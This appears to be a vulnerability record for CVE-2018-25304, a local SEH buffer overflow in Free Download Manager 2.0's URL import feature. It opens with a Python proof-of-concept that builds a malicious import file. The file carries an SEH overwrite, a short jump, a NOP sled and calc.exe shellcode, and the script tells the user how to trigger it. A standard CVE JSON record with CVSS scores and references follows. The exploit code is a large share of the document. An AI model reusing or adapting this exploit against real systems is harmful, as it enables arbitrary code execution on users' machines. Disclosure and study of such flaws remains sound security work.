CVE-2018-25304

import sys # PoC Generator for CVE-2018-25304 # Vulnerability: Buffer Overflow in URL Import functionality # Trigger: Importing a crafted file containing a malicious Location header # Offsets and addresses (Example values, require debugging for exact targets) offset = 1000 # nSEH: Short jump to skip the SEH handler address and land on shellcode nseh = b"\xeb\x06\x90\x90" # SEH: Address of a pop pop ret instruction (universal or module specific) seh = b"\xaf\x11\x50\x62" # Example Shellcode (e.g., calc.exe) shellcode = b"\x31\xc9\x51\x68\x63\x61\x6c\x63\x54\xb8\xc7\x93\xc2\x77\xff\xd0" # Construct the payload buffer = b"A" * offset buffer += nseh buffer += seh buffer += b"\x90" * 32 # NOP sled buffer += shellcode # Generate the malicious file format expected by FDM # The overflow occurs when parsing the Location header header = b"[InternetShortcut]\r\nURL=http://example.com\r\n" filename = "exploit_fdm.txt" with open(filename, "wb") as f: # Inject payload into the Location field f.write(header + b"Location=" + buffer) print(f"[+] Malicious file '{filename}' generated successfully.") print(f"[+] Import this file via File > Import > Import lists of downloads to trigger.")

{"cve": {"id": "CVE-2018-25304", "sourceIdentifier": "[email protected]", "published": "2026-04-29T20:16:25.760", "lastModified": "2026-04-30T15:44:48.290", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Free Download Manager 2.0 Built 417 contains a local buffer overflow vulnerability in the URL import functionality that allows attackers to trigger a structured exception handler (SEH) chain exploitation. Attackers can craft a malicious URL file that, when imported through the File > Import > Import lists of downloads menu, causes a buffer overflow in the Location header response that overwrites the SEH chain and executes arbitrary code."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-120"}]}], "references": [{"url": "https://filehippo.com/download_free_download_manager/925/", "source": "[email protected]"}, {"url": "https://www.exploit-db.com/exploits/44499", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/free-download-manager-built-417-local-buffer-overflow-seh", "source": "[email protected]"}]}}